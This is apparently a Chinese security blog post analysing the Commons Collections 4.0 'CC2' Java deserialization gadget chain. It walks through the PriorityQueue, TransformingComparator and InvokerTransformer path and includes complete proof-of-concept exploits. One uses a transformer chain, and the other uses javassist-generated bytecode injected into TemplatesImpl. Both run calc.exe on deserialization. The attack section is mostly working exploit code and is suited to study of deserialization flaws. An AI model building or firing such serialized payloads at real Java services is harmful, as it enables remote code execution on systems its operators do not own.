太强了!
前言
来啰嗦一下CC2,这条链在后面几条链中还会用到,详细的写一下,打好基础。
环境搭建
CC2使用的是javassist
和PriorityQueue
来构造利用链;
并且使用的是commons-collections-4.0
版本,而3.1-3.2.1版本中TransformingComparator
并没有去实现Serializable
接口,也就是说这是不可以被序列化的,所以CC2不用3.x版本。
- JDK 1.7
- commons-collections-4.0
在pom.xml
中添加:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
利用链1分析
跟着利用链,首先看看PriorityQueue.readObject()
这里的queue[i]
是从readObject
得到的,再看看writeObject
;
writeObject
中依次将queue[i]
进行序列化,那么我们通过反射实例化PriorityQueue类的对象,给queue[i]
赋值,就实现了对queue[i]
的控制。
最后调用了heapify
方法,跟进:
当i>=0
时进入for循环,而i=(size >>> 1) -1
将size进行了右移操作,所以size>1
才能进入循环。
再跟进siftDown
方法:
x就是queue[i]
,跟进siftDownUsingComparator
方法:
重点在comparator.compare(x, (E) c)
;
跟进可以看到Comparator
是一个接口,compare是它的抽象方法;
CC2利用链中TransformingComparator
类实现了compare方法;
该方法中调用了this.transformer.transform()
方法,看到这里,就有点熟悉了,this.transformer
又是我们可控的,后面的理解和CC1差不多了。
POC1分析
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);
queue.add(1);
queue.add(2);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
代码1
通过反射获取Runtime对象;
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
代码2
当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;
将transformerChain传入TransformingComparator,从而调用transformer方法;
new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入。
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);
代码3
前面说到,size的值要大于1,所以向queue中添加两个元素。
queue.add(1);
queue.add(2);
添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没有cc2.txt
。
调试代码看一看,跟进PriorityQueue
类,这里comparator参数是我们传入的Tcomparator
;
继续跟,跟进queue.add(2)
,调用了offer
方法;
跟进offer
方法,进入else分支,调用了siftUp
方法;
跟进siftUp
方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator
方法;
继续跟,来到重点代码;
跟进,这里会执行两次命令;
但是return的值为0,程序就结束了,并没有执行POC后面序列化和反序列化的代码。
那么如何让return不为0呢。
既然调用siftUpUsingComparator
方法会出错,那试试调用siftUpComparable
方法,即comparator参数为null,修改代码,不传入comparator参数。
PriorityQueue queue = new PriorityQueue(1);
再调试看看;
这下comparator参数就为null;
照样进入queue.add(2)
,到siftUp
方法,就进入else分支,调用siftUpComparable
方法;
这样就只是单纯给queue[1]
赋值,并不会调用compare
方法;
返回后就执行序列化代码,但是并没有执行命令,还要改进;
代码4
上面修改后的代码没有调用到compare
方法,我们可以在向queue中添加元素后,通过反射将Tcomparator
传入到queue的comparator参数;
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);
这样comparator参数就不为null,当反序列化时调用readObject
方法时就会进入siftDownUsingComparator
方法,调用compare
方法,从而执行命令。
完整POC
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
Javassit补充
简述:
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。
下面大概讲一下POC中会用到的类和方法:
ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。
常用方法:
static ClassPool getDefault()
:返回默认的ClassPool,一般通过该方法创建我们的ClassPool;ClassPath insertClassPath(ClassPath cp)
:将一个ClassPath对象插入到类搜索路径的起始位置;ClassPath appendClassPath
:将一个ClassPath对象加到类搜索路径的末尾位置;CtClass makeClass
:根据类名创建新的CtClass对象;CtClass get(java.lang.String classname)
:从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
CtClass
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。
常用方法:
void setSuperclass(CtClass clazz)
:更改超类,除非此对象表示接口;byte[] toBytecode()
:将该类转换为类文件;CtConstructor makeClassInitializer()
:制作一个空的类初始化程序(静态构造函数);
示例代码
import javassist.*;
public class javassit_test {
public static void createPerson() throws Exception{
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "System.out.println(\"javassit_test succes!\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//加载该类
Class c = cc.toClass();
//创建对象
c.newInstance();
}
public static void main(String[] args) {
try {
createPerson();
} catch (Exception e){
e.printStackTrace();
}
}
}
新生成的类是这样子的,其中有一块static代码;
当该类被实例化的时候,就会执行static里面的语句;
利用链2分析
在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;
先给出POC:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test2 {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
代码1
通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer
;
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) onstructor.newInstance("newTransformer");
代码2
实例化一个TransformingComparator对象,将transformer传进去;
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
代码3
这里就要用到javassit的知识;
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};
这段代码会新建一个类,并添加了一个static代码块;
代码4
使用TemplatesImpl的空参构造方法实例化一个对象;
再通过反射对个字段进行赋值,为什么要这样赋值下面再说;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;
然后通过反射将该数组传到queue中;
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
代码6
通过反射将queue的size设为2,与POC1中使用两个add的意思一样;
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
代码6
通过反射给queue的comparator参数赋值;
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
从PriorityQueue.readObject()
方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;
跟进siftDown方法,comparator参数就是我们传入的TransformingComparator实例化的对象;
到TransformingComparator的compare方法,obj1就是我们传入的templates, 这里的this.transformer
就是我们传入的transformer;
跟到InvokerTransformer.transform()
,input就是前面的obj1,this.iMethodName
的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法;
接着调用templates的newTransformer方法,而templates是TemplatesImpl类的实例化对象,也就是调用了TemplatesImpl.newTransformer()
;
跟踪该方法;
继续跟踪getTransletInstance方法;
进行if判断,_name
不为空,_class
为空,才能进入defineTransletClasses方法;
这就是代码4中赋值的原因;
跟进defineTransletClasses方法;
_bytecodes
也不能为null,是我们传入的targetByteCodes,也就是代码3的内容,转换成字节数组是一串这样子的;
继续往下;
通过loader.defineClass
将字节数组还原为Class对象,_class[0]
就是javassit新建的类EvilCat1153850011981000
;
再获取它的父类,检测父类是否为ABSTRACT_TRANSLET
,所以代码3中要设置AbstractTranslet类为新建类的父类;
给_transletIndex
赋值为0后,返回到getTransletInstance方法,创建_class[_transletIndex]
的对象,即创建EvilCat1153850011981000
类的对象,那么该类中的static代码部分就会执行,成功执行命令;
参考连接:
https://blog.csdn.net/qq_41918771/article/details/117194343
https://www.cnblogs.com/depycode/p/13583102.html
https://www.cnblogs.com/nice0e3/p/13811335.html